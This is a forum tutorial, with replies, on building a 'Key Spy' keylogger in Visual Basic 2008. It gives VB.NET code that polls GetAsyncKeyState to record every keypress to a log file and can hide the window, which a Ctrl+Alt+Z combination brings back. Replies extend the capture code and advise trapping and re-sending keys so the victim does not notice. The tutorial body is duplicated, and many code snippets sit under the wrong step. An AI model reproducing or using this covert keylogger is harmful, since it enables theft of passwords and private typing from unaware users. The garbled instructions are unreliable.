How to make a Key Spy (Computer Spy/Keylogger)
Heres your chance to share your own tutorials with the community. Just post them on here. If your lucky they may even be posted on the main site.
Hello Everyone,
I have thought and thought and thought and have decided to use my time to make a tutorial on my Key Spy software which I posted in the Full Software section. It got quite a few comments and very few downloads but surely it's a fact that nowadays codenstuff members have become busy and aren't as active as before.
So I am going to write a tutorial no matter what! This will be my second tutorial and it's format will be similar to my earlier tutorial which was about my TTS Reader software. This tutorial shows how to capture keys that are being pressed by the keyboard and save the text into a text file which will be located in the specified folder. You will also learn how to set the interval between saving the text.
---------------------------------------------------------------------------
First of all, open Visual Basic 2008, create a new project, choose Windows Forms Application, type in the textbox Key Spy and press the OK button. As soon as you have done this, the Form1 will appear on the screen on which we will design our application and code it.
First we will do the designing and then the coding. So now we will change the Form1's properties to make it look good. Change the Form1's Text property to Key Spy. Change it's StartPosition property to CenterScreen. Change it's Size property and MinimumSize property to 425, 425.
Now add the following things to the form:
(1)_ 1 Toolstrip. Change it's GripStyle property to Hidden. Add 7 Buttons and 4 Separators to it in this format: Button, Separator, Button, Separator, Button, Button, Separator, Button, Button, Separator, Button. Change all the button's DisplayStyle property to ImageAndText. Change the first button's Text property to Hide, second button's to Clear, third button's to Start, fourth button's to Stop, fifth button's to Settings, sixth button's to View Log and at last the seventh button's Text property to About. You can add icons to your buttons to make them look good.
(2)_ 1 TextBox. Change it's MultiLine property to True. Change it's Dock property to Fill. Change it's ReadOnly property to True and it's BackColor to Window.
(3)_ 1 Label. Change it's Visible property to False. Change it's TextAllign property to MiddleCenter. Change it's AutoSize property to False. Change it's Dock property to Bottom. Change it's Text Property to C:\ObsprO Key Spy\Log.txt.
(4)_ 2 Timers. Change the Timer1's Interval property to 5 and change Timer2's Interval property to 30000. And then change both the Timers' Enabled property to Enabled.
Now is the time to code Form1 and it's components. So right-click on the form in the Solution Explorer and click View Code.
Type the following code before the Public Class Form1:
Okay, the Form1's coding is done so now let us head to design and code the Settings form. So to add another form, look up at the menustrip, click Project and then press Add Windows Form... When the Add New Item dialog shows up, just press Add and a new form will be automatically created and shown in front of you.
Now lets start designing the form. Change the Form2's FormBorderStyle to FixedToolWindow. Change it's MaximiseBox and MinimizeBox property to False. Change it's ShowIcon and ShowInTaskbar property to False. Change it's size to 300, 173. Change it's StartPosition property to CenterScreen and at last change it's Text property to Settings.
Add the following items/controls to the Form:
(1)_ 2 GroupBoxes. Change first one's Text property to "Patch to save the log of keylogger:" and the second one's to "Interval between saving the text:".
(2)_ 2 Labels. Change first one's Text property to "Path:" and the second one's to "Interval:".
(3)_ 2 TextBoxes. Change the first one's Text property to "C:\ObsprO Key Spy\Log.txt" and the second one's to "30000".
(4)_ 2 Buttons. Change the first one's Text property to "OK" and the second one's to "Cancel".
Arrange them in the form like this. 1 Label and 1 TextBox in first GroupBox and the second Label and TextBox in the second GroupBox. And then add both of the buttons on the outside of the GroupBoxes.
Now we will code Form2. So right-click on the Form2 in the Solution Explorer and click View Code.
Add the following code to the Form2_FormClosing event:
Voila! You have just completed making a Key Spy. Now debug and run it by pressing the Start Debugging button located at the main toolstrip. Test it, if it works fine then its SAVING time. You can save your project by going to File -> Save All and then pressing Save.
And there! You have your project and application that works. If you have any problem or can't understand something, please feel free to ask by either a comment or by PM. I have also attached a screenshot.
Please use the Give Thanks button and the Reputation System to appreciate my hard work. I have wrote this tutorial while making a Key Spy project myself so you can download the source file in the attachments.
Thank you.
![Image]()
EDIT: viewtopic.php?f=38&t=3913&p=66508#p66501 Have a look at it.
I have thought and thought and thought and have decided to use my time to make a tutorial on my Key Spy software which I posted in the Full Software section. It got quite a few comments and very few downloads but surely it's a fact that nowadays codenstuff members have become busy and aren't as active as before.
So I am going to write a tutorial no matter what! This will be my second tutorial and it's format will be similar to my earlier tutorial which was about my TTS Reader software. This tutorial shows how to capture keys that are being pressed by the keyboard and save the text into a text file which will be located in the specified folder. You will also learn how to set the interval between saving the text.
---------------------------------------------------------------------------
First of all, open Visual Basic 2008, create a new project, choose Windows Forms Application, type in the textbox Key Spy and press the OK button. As soon as you have done this, the Form1 will appear on the screen on which we will design our application and code it.
First we will do the designing and then the coding. So now we will change the Form1's properties to make it look good. Change the Form1's Text property to Key Spy. Change it's StartPosition property to CenterScreen. Change it's Size property and MinimumSize property to 425, 425.
Now add the following things to the form:
(1)_ 1 Toolstrip. Change it's GripStyle property to Hidden. Add 7 Buttons and 4 Separators to it in this format: Button, Separator, Button, Separator, Button, Button, Separator, Button, Button, Separator, Button. Change all the button's DisplayStyle property to ImageAndText. Change the first button's Text property to Hide, second button's to Clear, third button's to Start, fourth button's to Stop, fifth button's to Settings, sixth button's to View Log and at last the seventh button's Text property to About. You can add icons to your buttons to make them look good.
(2)_ 1 TextBox. Change it's MultiLine property to True. Change it's Dock property to Fill. Change it's ReadOnly property to True and it's BackColor to Window.
(3)_ 1 Label. Change it's Visible property to False. Change it's TextAllign property to MiddleCenter. Change it's AutoSize property to False. Change it's Dock property to Bottom. Change it's Text Property to C:\ObsprO Key Spy\Log.txt.
(4)_ 2 Timers. Change the Timer1's Interval property to 5 and change Timer2's Interval property to 30000. And then change both the Timers' Enabled property to Enabled.
Now is the time to code Form1 and it's components. So right-click on the form in the Solution Explorer and click View Code.
Type the following code before the Public Class Form1:
Code: Select all
Type the following code after the Public Class Form1:
Imports System.Runtime.InteropServices
Code: Select all
Double-click the Form using the Designer window and enter the following code in the Form1_Load event:
Dim keyNames As String()
Dim keyValues As Array
Dim isdown As Boolean()
<DllImport("user32.dll")> Shared Function GetAsyncKeyState(ByVal vKey As Integer) As Short
End Function
Code: Select all
And enter this code in the Form1_FormClosing event:
keyNames = [Enum].GetNames(GetType(Keys))
keyValues = [Enum].GetValues(GetType(Keys))
isdown = New Boolean(keyNames.Length - 1) {}
ToolStripButton3.PerformClick()
Code: Select all
Now go back to the Form Designer by double-clicking on the Form1 item in the Solution Explorer. Double-click on the Timer1 and type in the following code:
TextBox1.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
Try
My.Computer.FileSystem.WriteAllText(Label1.Text, TextBox1.Text, True)
TextBox1.Clear()
Catch ex As Exception
Dim dlgrst As DialogResult
dlgrst = MessageBox.Show("Unable to save the text. The specified path was not found. Exit without saving?", "ObsprO Key Spy", MessageBoxButtons.YesNo, MessageBoxIcon.Error)
If dlgrst = DialogResult.Yes Then
ElseIf dlgrst = DialogResult.No Then
e.Cancel = True
End If
End Try
Code: Select all
Now double-click the Timer2 and enter the following code:
Dim key As String = ""
For i As Integer = 0 To keyNames.Length - 1
Dim result As Short = GetAsyncKeyState(keyValues(i))
If result = -32768 And Not isdown(i) Then
isdown(i) = True
key += keyNames(i) & " "
ElseIf result = 0 Then
isdown(i) = False
End If
Next
TextBox1.Text += key
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
Me.Show()
End If
Code: Select all
Write the following code by double-clicking the ToolStripButton1 whose text was Hide:
Try
TextBox1.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
My.Computer.FileSystem.WriteAllText(Label1.Text, TextBox1.Text, True)
TextBox1.Clear()
Catch ex As Exception
MsgBox("Unable to save the text. The specified path was not found.", MsgBoxStyle.Critical, "ObsprO Key Spy")
End Try
Code: Select all
Double-click ToolStripButton2 and enter the following code to clear the TextBox:
Me.Hide()
Code: Select all
Add the following code to the ToolStripButton3 the text of which was Start:
TextBox1.Clear()
Code: Select all
Now double-click the ToolStripButton4 whose text property was Stop:
TextBox1.Text = "Started at: " & Now & vbNewLine
Timer1.Enabled = True
Timer2.Enabled = True
Code: Select all
Add this code to ToolStripButton5 namely Settings:
TextBox1.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
Timer1.Enabled = False
Timer2.Enabled = False
Try
My.Computer.FileSystem.WriteAllText(Label1.Text, TextBox1.Text, True)
TextBox1.Clear()
Catch ex As Exception
MsgBox("Unable to save the text. The specified path was not found.", MsgBoxStyle.Critical, "ObsprO Key Spy")
End Try
Code: Select all
And this is the code to view the log. This will be placed under ToolStripButton6:
Form2.Show()
Code: Select all
Now this is the code for the last button which is ToolStripButton7. I made this application so I'll put my name!:
Try
Process.Start(Form2.TextBox1.Text)
Catch ex As Exception
MsgBox("Unable to open the log file. The specified path was not found or does not exists.", MsgBoxStyle.Critical, "ObsprO Key Spy")
End Try
Code: Select all
MsgBox("This software is developed by ObsprO.", MsgBoxStyle.Information, "ObsprO Key Spy")
Okay, the Form1's coding is done so now let us head to design and code the Settings form. So to add another form, look up at the menustrip, click Project and then press Add Windows Form... When the Add New Item dialog shows up, just press Add and a new form will be automatically created and shown in front of you.
Now lets start designing the form. Change the Form2's FormBorderStyle to FixedToolWindow. Change it's MaximiseBox and MinimizeBox property to False. Change it's ShowIcon and ShowInTaskbar property to False. Change it's size to 300, 173. Change it's StartPosition property to CenterScreen and at last change it's Text property to Settings.
Add the following items/controls to the Form:
(1)_ 2 GroupBoxes. Change first one's Text property to "Patch to save the log of keylogger:" and the second one's to "Interval between saving the text:".
(2)_ 2 Labels. Change first one's Text property to "Path:" and the second one's to "Interval:".
(3)_ 2 TextBoxes. Change the first one's Text property to "C:\ObsprO Key Spy\Log.txt" and the second one's to "30000".
(4)_ 2 Buttons. Change the first one's Text property to "OK" and the second one's to "Cancel".
Arrange them in the form like this. 1 Label and 1 TextBox in first GroupBox and the second Label and TextBox in the second GroupBox. And then add both of the buttons on the outside of the GroupBoxes.
Now we will code Form2. So right-click on the Form2 in the Solution Explorer and click View Code.
Add the following code to the Form2_FormClosing event:
Code: Select all
Add the following code to Button1 by double-clicking it:
e.Cancel = True
Me.Hide()
Code: Select all
And this is the last code. Add this to Button2 by double-clicking it:
Imports System.Runtime.InteropServices
Form1.Timer2.Interval = TextBox2.Text
Form1.label1.text = TextBox1.Text
Code: Select all
---------------------------------------------------------------------------Me.Close()
Voila! You have just completed making a Key Spy. Now debug and run it by pressing the Start Debugging button located at the main toolstrip. Test it, if it works fine then its SAVING time. You can save your project by going to File -> Save All and then pressing Save.
And there! You have your project and application that works. If you have any problem or can't understand something, please feel free to ask by either a comment or by PM. I have also attached a screenshot.
Please use the Give Thanks button and the Reputation System to appreciate my hard work. I have wrote this tutorial while making a Key Spy project myself so you can download the source file in the attachments.
Thank you.

EDIT: viewtopic.php?f=38&t=3913&p=66508#p66501 Have a look at it.
You do not have the required permissions to view the files attached to this post.
Last edited by Usman55 on Sat Apr 21, 2012 7:55 pm, edited 5 times in total.
I get an error on timer on, you should post the source for this also 

If you want to capture all keys+modifiers instead of 2-90 you can use this code:
Code: Select all
Dim keyNames As String() = [Enum].GetNames(GetType(Keys))
Dim keyValues As Array = [Enum].GetValues(GetType(Keys))
Dim key As String = ""
For i As Integer = 0 To keyNames.Length - 1
Dim result As Short = GetAsyncKeyState(keyValues(i))
If result = -32768 Then
key += keyNames(i) & " "
End If
Next
Last edited by mandai on Fri Dec 03, 2010 6:01 pm, edited 1 time in total.
Sorry, I forgot to mention: You have to create the directory before using the application.
mandai wrote:If you want to capture all keys+modifiers instead of 2-90 you can use this code:I get some errors when I use that. Can you download the source and make a reamke and send it to me?Code: Select allDim keyNames As String() = [Enum].GetNames(GetType(Keys)) Dim keyValues As Array = [Enum].GetValues(GetType(Keys)) Dim key As String = "" For i As Integer = 0 To keyNames.Length - 1 Dim result As Short = GetAsyncKeyState(keyValues(i)) If result = -32768 Then key += keyNames(i) & " " End If Next
Now, this does work,. And is undetected but its sooo slow and doesnt get all the keys the user types in. Therefore useless. The best thing to do is To register all Keyboards' keys and in Their WNDPROC ovveride them to trap the keys entered, after that use Sendkeys.Send() to enter the missing key so that the user doesnt notice anything. Good luck!
According to the Microsoft specification the vKey paramater should be an Integer and the GetAsyncKeyState return value should be a Short. Its crashing because the wrong data types are being expected in the return value.
mandai wrote:According to the Microsoft specification the vKey paramater should be an Integer and the GetAsyncKeyState return value should be a Short. Its crashing because the wrong data types are being expected in the return value.How to fix it?
Copyright Information
Copyright © Codenstuff.com 2020 - 2023